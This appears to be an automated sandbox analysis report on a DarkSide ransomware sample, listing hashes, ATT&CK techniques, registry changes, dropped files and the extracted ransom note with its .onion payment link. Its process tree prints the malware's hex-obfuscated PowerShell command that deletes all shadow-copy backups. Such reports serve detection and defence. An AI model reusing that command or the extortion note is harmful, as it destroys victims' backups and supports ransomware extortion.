darkside | 762c64cef8a5e4d69b26175c202340e14a5fa8e16712bd23db45f4bc904342a3

General

Target

762c64cef8a5e4d69b26175c202340e14a5fa8e16712bd23db45f4bc904342a3.exe
Size

260KB
MD5

5a1dfcf340060e11fd97775f08cc707d
SHA1

ca7ba09b986c4c7c8590a2b90215785bef2efb41
SHA256

762c64cef8a5e4d69b26175c202340e14a5fa8e16712bd23db45f4bc904342a3
SHA512

9aae78da9f1c81ff671f721322031a2f12fefc3afaa90d5434a300f23775b568ed0129b629ec1910bb8345af64ff0b72f256c8f26377a5e6e527ddf5c81658b3
SSDEEP

6144:+GuWNCix6AcxVBkerhbzfpZUU6wpKBWrl8mQEy:uOCix6JPzVhSwN58mty

Score

10^/10

darkside ransomware spyware stealer

Malware Config

Extracted

Path

C:\Users\Admin\README.398da5ec.TXT

Family

darkside

Ransom Note

----------- [ Welcome to DarkSide ] -------------> What happend? ---------------------------------------------- Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. How to get access on website? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/OBB5DDMR8RB9DI2RYYF376YGBJAV2J4F2NXFEWPBSXY709MAA0MY7PMBBQJ0HVG3 When you open our website, put the following data in the input form: Key: 5l5BZPnhuDEYAVqJR4MgValoWwML2OjDOtYwubDXeXGefcJDd4otfGdb9pJPrHW7Rt0XqdwabTWl9I5xhiHBsW6mg5BoqR4M2LZ0TI1hN4ifY7RVgRakjxxhhyImncWtgNb8LWtJlhn6cwtDLlsIjq0wAn8s7YsdzgTPPreHXEyFiFH1ozVIpZXV1mO5QXMZu16DNkFcXVIfdw5gPeSYjd3VAa7VlIH8IXgwCuza7YprCeDIOmvRqYK1jBH4s4nn0VyEHnWRndP7jNNUmat6FMhNzeKnLYGbMDRwmZR6iFdFX0Y3lhEWenDamVRchRSE5YwiL9LqTfkrnrswflssAB0SOcodZXRxG5HNItcitj3Za1NzC5fmBpdKN4jV01hMBG98ZEN8HMKeOdVxKtbAZP86K9IfBy8QcNrWLQ2hAeup6DD6KsG8R0Jj8czKTu4MDlGaxQMtPSycA0B6IzpPVV0Tbn9yWIIFH6y4mir71zDWbcPH3p5Hnr80gTnOFHXGzkGfrdy1bjn5H99zniLFFjchV8EEPMtgG2PwKF7NVQ9dTdlMBHWQpGc !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!

URLs

http://darksidfqzcuhtk2.onion/OBB5DDMR8RB9DI2RYYF376YGBJAV2J4F2NXFEWPBSXY709MAA0MY7PMBBQJ0HVG3

Signatures

DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
ransomware darkside
Renames multiple (151) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Control Panel\Desktop\WallPaper = "C:\\ProgramData\\398da5ec.BMP"	762c64cef8a5e4d69b26175c202340e14a5fa8e16712bd23db45f4bc904342a3.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\398da5ec.BMP"	762c64cef8a5e4d69b26175c202340e14a5fa8e16712bd23db45f4bc904342a3.exe

Modifies Control Panel 1 IoCs

evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Control Panel\Desktop\WallpaperStyle = "10"	762c64cef8a5e4d69b26175c202340e14a5fa8e16712bd23db45f4bc904342a3.exe

Modifies registry class 5 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\398da5ec\DefaultIcon	762c64cef8a5e4d69b26175c202340e14a5fa8e16712bd23db45f4bc904342a3.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\398da5ec	762c64cef8a5e4d69b26175c202340e14a5fa8e16712bd23db45f4bc904342a3.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\398da5ec\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\398da5ec.ico"	762c64cef8a5e4d69b26175c202340e14a5fa8e16712bd23db45f4bc904342a3.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.398da5ec	762c64cef8a5e4d69b26175c202340e14a5fa8e16712bd23db45f4bc904342a3.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.398da5ec\ = "398da5ec"	762c64cef8a5e4d69b26175c202340e14a5fa8e16712bd23db45f4bc904342a3.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
3060	powershell.exe
1660	762c64cef8a5e4d69b26175c202340e14a5fa8e16712bd23db45f4bc904342a3.exe
1660	762c64cef8a5e4d69b26175c202340e14a5fa8e16712bd23db45f4bc904342a3.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	1660	762c64cef8a5e4d69b26175c202340e14a5fa8e16712bd23db45f4bc904342a3.exe
Token: SeSecurityPrivilege	1660	762c64cef8a5e4d69b26175c202340e14a5fa8e16712bd23db45f4bc904342a3.exe
Token: SeTakeOwnershipPrivilege	1660	762c64cef8a5e4d69b26175c202340e14a5fa8e16712bd23db45f4bc904342a3.exe
Token: SeLoadDriverPrivilege	1660	762c64cef8a5e4d69b26175c202340e14a5fa8e16712bd23db45f4bc904342a3.exe
Token: SeSystemProfilePrivilege	1660	762c64cef8a5e4d69b26175c202340e14a5fa8e16712bd23db45f4bc904342a3.exe
Token: SeSystemtimePrivilege	1660	762c64cef8a5e4d69b26175c202340e14a5fa8e16712bd23db45f4bc904342a3.exe
Token: SeProfSingleProcessPrivilege	1660	762c64cef8a5e4d69b26175c202340e14a5fa8e16712bd23db45f4bc904342a3.exe
Token: SeIncBasePriorityPrivilege	1660	762c64cef8a5e4d69b26175c202340e14a5fa8e16712bd23db45f4bc904342a3.exe
Token: SeCreatePagefilePrivilege	1660	762c64cef8a5e4d69b26175c202340e14a5fa8e16712bd23db45f4bc904342a3.exe
Token: SeBackupPrivilege	1660	762c64cef8a5e4d69b26175c202340e14a5fa8e16712bd23db45f4bc904342a3.exe
Token: SeRestorePrivilege	1660	762c64cef8a5e4d69b26175c202340e14a5fa8e16712bd23db45f4bc904342a3.exe
Token: SeShutdownPrivilege	1660	762c64cef8a5e4d69b26175c202340e14a5fa8e16712bd23db45f4bc904342a3.exe
Token: SeDebugPrivilege	1660	762c64cef8a5e4d69b26175c202340e14a5fa8e16712bd23db45f4bc904342a3.exe
Token: SeSystemEnvironmentPrivilege	1660	762c64cef8a5e4d69b26175c202340e14a5fa8e16712bd23db45f4bc904342a3.exe
Token: SeRemoteShutdownPrivilege	1660	762c64cef8a5e4d69b26175c202340e14a5fa8e16712bd23db45f4bc904342a3.exe
Token: SeUndockPrivilege	1660	762c64cef8a5e4d69b26175c202340e14a5fa8e16712bd23db45f4bc904342a3.exe
Token: SeManageVolumePrivilege	1660	762c64cef8a5e4d69b26175c202340e14a5fa8e16712bd23db45f4bc904342a3.exe
Token: 33	1660	762c64cef8a5e4d69b26175c202340e14a5fa8e16712bd23db45f4bc904342a3.exe
Token: 34	1660	762c64cef8a5e4d69b26175c202340e14a5fa8e16712bd23db45f4bc904342a3.exe
Token: 35	1660	762c64cef8a5e4d69b26175c202340e14a5fa8e16712bd23db45f4bc904342a3.exe
Token: SeDebugPrivilege	3060	powershell.exe
Token: SeBackupPrivilege	856	vssvc.exe
Token: SeRestorePrivilege	856	vssvc.exe
Token: SeAuditPrivilege	856	vssvc.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 1660 wrote to memory of 3060	1660	762c64cef8a5e4d69b26175c202340e14a5fa8e16712bd23db45f4bc904342a3.exe	29
PID 1660 wrote to memory of 3060	1660	762c64cef8a5e4d69b26175c202340e14a5fa8e16712bd23db45f4bc904342a3.exe	29
PID 1660 wrote to memory of 3060	1660	762c64cef8a5e4d69b26175c202340e14a5fa8e16712bd23db45f4bc904342a3.exe	29
PID 1660 wrote to memory of 3060	1660	762c64cef8a5e4d69b26175c202340e14a5fa8e16712bd23db45f4bc904342a3.exe	29

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\762c64cef8a5e4d69b26175c202340e14a5fa8e16712bd23db45f4bc904342a3.exe
"C:\Users\Admin\AppData\Local\Temp\762c64cef8a5e4d69b26175c202340e14a5fa8e16712bd23db45f4bc904342a3.exe"
1⤵
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1660
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3060

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:856

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Unsecured Credentials

1

T1552

Credentials In Files

1

T1552.001

Discovery

Lateral Movement

Collection

Data from Local System

1

T1005

Command and Control

Exfiltration

Impact

Defacement

1

T1491

Replay Monitor

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Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015

Filesize
70KB

MD5
49aebf8cbd62d92ac215b2923fb1b9f5

SHA1
1723be06719828dda65ad804298d0431f6aff976

SHA256
b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

SHA512
bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F0ACCF77CDCBFF39F6191887F6D2D357

Filesize
1KB

MD5
a266bb7dcc38a562631361bbf61dd11b

SHA1
3b1efd3a66ea28b16697394703a72ca340a05bd5

SHA256
df545bf919a2439c36983b54cdfc903dfa4f37d3996d8d84b4c31eec6f3c163e

SHA512
0da8ef4f8f6ed3d16d2bc8eb816b9e6e1345dfe2d91160196c47e6149a1d6aedaafadcefd66acdea7f72dcf0832770192ceac15b0c559c4ccc2c0e5581d5aefc

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
cdd149fb5a465473009bf592f4794dea

SHA1
09dd441f6ce9e8770241e9ef5a21fbe85d450c02

SHA256
a7a637ac2e981a73024e9c83eefe1671e5694ae367e6ec94e461439aa023b15c

SHA512
7835a9c54197c8693cf8515bd7ded7696a3b03b5aa0f4fc5522d7c6a3f9e12004bd1fe3fd184ded0f8feafb600328b70284f5b20c7dabb9c4a2400bf06cc0e66

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F0ACCF77CDCBFF39F6191887F6D2D357

Filesize
242B

MD5
ea177aaec5b01d6aa658e8f10320fc37

SHA1
554da12fdf9a632aaee9f97a1ba875dbec09aa6a

SHA256
ac710199867b556932c8c75bd29d75d36ede3756c5986748dcb8442f1d561066

SHA512
5a9c11368ba1a1209fdc5d84673158af83fe53a2b848614e08b3e20de629b0b2e9255a98f295db856e960af695887e3ce4000e8866a4621a80fe33e1ae66d72d

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tar15A8.tmp

Filesize
181KB

MD5
4ea6026cf93ec6338144661bf1202cd1

SHA1
a1dec9044f750ad887935a01430bf49322fbdcb7

SHA256
8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

SHA512
6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
4f28c13ff86e2bcd071df2d0bb1cdd51

SHA1
cefbfe9b23cc172fedecf10a0565b7897fe727f6

SHA256
cefd6ff5716839b73e05182c0de58490f9a3f54bc0c3720dbbbac24e1d18eaa7

SHA512
b3d4a0d4cba9f539ff7e03e306602d920a798c177d23c07c17fdbdffa4c116f83f3a08ac6b15281a6c83886e90589c6c29014cc45a5ade73961ffed79ba4c5fe

Download Submit
C:\Users\Admin\README.398da5ec.TXT

Filesize
1KB

MD5
f418a249405444da33cc73b402a26306

SHA1
1a6c493e74036f93f0dae4b65e6c543c213ce418

SHA256
b348457b3cd38a91d113b0dfbf5bdf9d830b39f5ab849b126fff027534ef2e09

SHA512
b848dd2bb5654aac30d36279af1b9460b36c2df9c8f696d5349a870cd9be8b0aac203623c2025e8b32e646b0558ee27cf72e04db6aee3a2cd548d5c29575efaf

Download Submit
memory/1660-5-0x0000000000401000-0x0000000000409000-memory.dmp

Filesize
32KB

Download
memory/1660-2-0x0000000000400000-0x000000000042E000-memory.dmp

Filesize
184KB

Download
memory/1660-3-0x0000000000290000-0x0000000000291000-memory.dmp

Filesize
4KB

Download
memory/1660-0-0x0000000000400000-0x000000000042E000-memory.dmp

Filesize
184KB

Download
memory/1660-6-0x0000000000400000-0x000000000042E000-memory.dmp

Filesize
184KB

Download
memory/1660-305-0x0000000000400000-0x000000000042E000-memory.dmp

Filesize
184KB

Download
memory/1660-4-0x0000000000250000-0x000000000028B000-memory.dmp

Filesize
236KB

Download
memory/1660-250-0x0000000000400000-0x000000000042E000-memory.dmp

Filesize
184KB

Download
memory/1660-1-0x0000000000400000-0x000000000042E000-memory.dmp

Filesize
184KB

Download
memory/1660-9-0x0000000000400000-0x000000000042E000-memory.dmp

Filesize
184KB

Download
memory/1660-253-0x0000000000400000-0x000000000042E000-memory.dmp

Filesize
184KB

Download
memory/1660-252-0x0000000000401000-0x0000000000409000-memory.dmp

Filesize
32KB

Download
memory/1660-251-0x0000000000250000-0x000000000028B000-memory.dmp

Filesize
236KB

Download
memory/1660-7-0x0000000000400000-0x000000000042E000-memory.dmp

Filesize
184KB

Download
memory/1660-8-0x0000000000400000-0x000000000042E000-memory.dmp

Filesize
184KB

Download
memory/3060-52-0x000000001B7F0000-0x000000001BAD2000-memory.dmp

Filesize
2.9MB

Download
memory/3060-58-0x000007FEF42F0000-0x000007FEF4C8D000-memory.dmp

Filesize
9.6MB

Download
memory/3060-57-0x000007FEF42F0000-0x000007FEF4C8D000-memory.dmp

Filesize
9.6MB

Download
memory/3060-56-0x000007FEF42F0000-0x000007FEF4C8D000-memory.dmp

Filesize
9.6MB

Download
memory/3060-55-0x000007FEF42F0000-0x000007FEF4C8D000-memory.dmp

Filesize
9.6MB

Download
memory/3060-53-0x0000000001F40000-0x0000000001F48000-memory.dmp

Filesize
32KB

Download
memory/3060-54-0x000007FEF42F0000-0x000007FEF4C8D000-memory.dmp

Filesize
9.6MB

Download
memory/3060-51-0x000007FEF45AE000-0x000007FEF45AF000-memory.dmp

Filesize
4KB

Download

Analysis

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